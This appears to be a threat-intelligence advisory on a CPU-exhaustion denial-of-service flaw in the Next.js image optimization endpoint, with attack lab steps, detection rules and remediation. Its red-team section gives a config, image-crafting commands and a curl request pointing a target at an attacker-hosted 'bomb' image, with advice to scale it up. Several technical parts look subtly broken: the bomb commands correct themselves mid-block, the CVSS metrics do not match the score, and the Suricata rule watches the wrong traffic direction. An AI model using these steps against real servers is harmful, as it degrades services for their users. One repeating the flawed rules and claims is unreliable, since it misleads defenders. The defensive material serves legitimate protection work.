CVE-2026-64644

Executive Summary

CVE-2026-64644 is a denial-of-service (CPU exhaustion) vulnerability in the Image Optimization API of self-hosted Next.js applications using the default image loader. An attacker can craft a malicious remotely hosted image that, when optimized by the /_next/image endpoint, causes excessive CPU consumption, potentially leading to service degradation or temporary unavailability. The vulnerability affects versions 15.5.0 through 15.5.20 and 16.0.0 through 16.2.10. The issue is fixed in versions 15.5.21 and 16.2.11. Only configurations utilizing images.remotePatterns are at risk; unoptimized images, custom loaders, and Vercel deployments are not impacted.

Supply Chain & Package Security

Next.js is distributed via the npm registry as the next package. This vulnerability impacts any self-hosted application that upgrades to the affected versions and enables remote image optimization. Organizations should verify their Next.js package version and update to the latest patched release. There are no known compromised packages in the supply chain; the vulnerability is a logic flaw in the image processing handler.

CVSS Breakdown & Threat Level

While no official CVSS vector is assigned, the vulnerability can be characterized as:

• Attack Vector (AV): Network (attacker sends malicious image URL)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (victim must request the optimized image)
• Scope (S): Unchanged
• Confidentiality Impact (C): None
• Integrity Impact (I): None
• Availability Impact (A): High (CPU exhaustion → degraded service)

Estimated CVSS score: 7.5 (High) based on the above metrics. However, the CVE entry lists a score of 0.0, likely due to incomplete scoring. The threat is real for self-hosted Next.js applications with remote image optimization enabled.

Deep Dive & Mechanics

The Next.js Image Optimization API (/_next/image?url=...&w=...&q=...) processes images from remote sources when the application is self-hosted and images.remotePatterns is configured. The default image loader fetches the image and optimizes it (resize, re-encode, etc.). The vulnerability arises because the optimization step does not adequately limit resource consumption when processing specially crafted images – for example, an image with extreme dimensions, deeply nested metadata, or a compression bomb (e.g., a small JPEG that expands to a very large bitmap during decoding). An attacker can provide a URL to such an image; when the target server processes the optimization request, the CPU is overwhelmed.

Attack Flow

1. Attacker identifies a self-hosted Next.js application using images.remotePatterns.
2. Attacker hosts a malicious image (e.g., a tiny JPEG with a very high quality factor or an SVG with exponential expansion) on a server allowed by the remotePatterns configuration.
3. Attacker (or a victim) triggers a request to /_next/image?url=<malicious-image>&w=9999&q=100.
4. Next.js fetches the image and starts optimization, consuming excessive CPU cycles and potentially stalling other requests.

Vulnerable vs. Patched Code

The vulnerable code exists in the image processing pipeline within the Next.js core. The fix (applied in versions 15.5.21 and 16.2.11) introduces resource limits, such as:

• Maximum image dimension checks before processing.
• Timeouts for image decode/encode operations.
• Rejecting images that exceed a certain file size or decompressed size ratio.

No specific code diff is publicly available, but the patch effectively adds safeguards against denial-of-service via image bombs.

Exploitation & Lab Setup

Red Team (Attack)

1. Environment

   • Deploy a Next.js 15.5.0 application with images.remotePatterns configured to allow an attacker-controlled domain.
   • Example next.config.js:

     module.exports = {
       images: {
         remotePatterns: [
           { protocol: 'https', hostname: 'attacker.example.com' }
         ]
       }
     }
     

2. Craft Malicious Image
   Create a JPEG image with resolution 10000x10000 pixels (or use an SVG with a small file that renders huge dimensions). For a JPEG compression bomb:

   # Use ImageMagick to create a tiny JPEG that expands to large dimensions
   convert -size 10x10 xc:white -quality 100 -define jpeg:extent=1KB bomb.jpg
   # Then re-encode to have a large dimension hint? (simplified)
   # Actually, a better approach: use a "decompression bomb" JPEG that has a huge quantization table.
   

   Host this image at https://attacker.example.com/bomb.jpg.

3. Trigger Exploit
   Send a crafted request to the target application:

   curl "https://target.example.com/_next/image?url=https://attacker.example.com/bomb.jpg&w=10000&q=100"
   

   The server will fetch the image and attempt to resize it to 10000px width, causing CPU spike.

4. Scale Attack
   Use multiple concurrent requests to maximize CPU exhaustion.

Blue Team (Defense)

1. Detection
   Monitor for spikes in CPU usage on the Next.js node. Set up alerts for high /_next/image request rates.
2. Mitigation
   • Disable remote image optimization by setting unoptimized: true or using a custom loader.
   • Apply rate limiting to /_next/image endpoints.
   • Install web application firewall (WAF) rules to block requests with unusually large w (width) or q (quality) parameters.
3. Logging
   Enable access logs and capture the /_next/image URL parameters for analysis.

Indicators of Compromise (IOCs)

• Network:
  • Unusually high number of requests to /_next/image with large w and q parameters.
  • Source IPs (attacker’s image host) seen repeatedly in logs.
• System:
  • Sustained CPU usage >90% on the Node.js process.
  • Slow response times for legitimate pages during the attack.
• Files:
  • No persistent files; the attack is transient.

Detection Engineering

YARA Rule

rule NextJS_Image_Optimization_DoS {
    meta:
        description = "Detects malicious image requests targeting Next.js /_next/image CPU exhaustion"
        author = "Valters IT CTI"
        reference = "CVE-2026-64644"
        date = "2026-04-01"
    strings:
        $url_pattern = /\/_next\/image\?url=([^&]+)&w=([0-9]{4,})&q=([0-9]{2,3})/
    condition:
        $url_pattern and #url_pattern > 10  // threshold for volume
}

Sigma Rule

title: Next.js Image Optimization DoS Attack
id: 8a3c1e2f-4d5b-4c6a-9e1f-3b2a1c5d7e9f
status: experimental
description: Detects high volume of requests to /_next/image with large width parameters
author: Valters IT CTI
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem: "/_next/image"
        cs-uri-query|contains:
            - "w=8"
            - "w=9"
        cs-uri-query|re: 'w=[0-9]{4,}'  # width >= 1000
    condition: selection
    timeframe: 60s
    threshold: 100
falsepositives:
    - Legitimate large image optimization requests
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-64644 Next.js Image Optimization DoS Attack";
    flow:to_server;
    http.uri; content:"/_next/image"; http_uri;
    pcre:"/w=[0-9]{4,}/";  # width param with 4+ digits
    classtype:denial-of-service;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate

   • Upgrade to Next.js 15.5.21+ or 16.2.11+.
   • If upgrade is not possible, disable remote image optimization by setting images.unoptimized: true in next.config.js.
   • Alternatively, switch to a custom image loader that applies resource limits.

2. Short-term

   • Review and restrict images.remotePatterns to only trusted domains.
   • Apply rate limiting (e.g., with Nginx or API gateway) to the /_next/image endpoint.
   • Set timeout and maximum processing limits for image optimization in the application layer.

3. Long-term

   • Implement server-side monitoring for unusual resource consumption.
   • Regularly audit open-source dependencies and subscribe to security advisories from the Next.js team.

Report generated by Valters IT Security Team | Cyber Threat Intelligence Division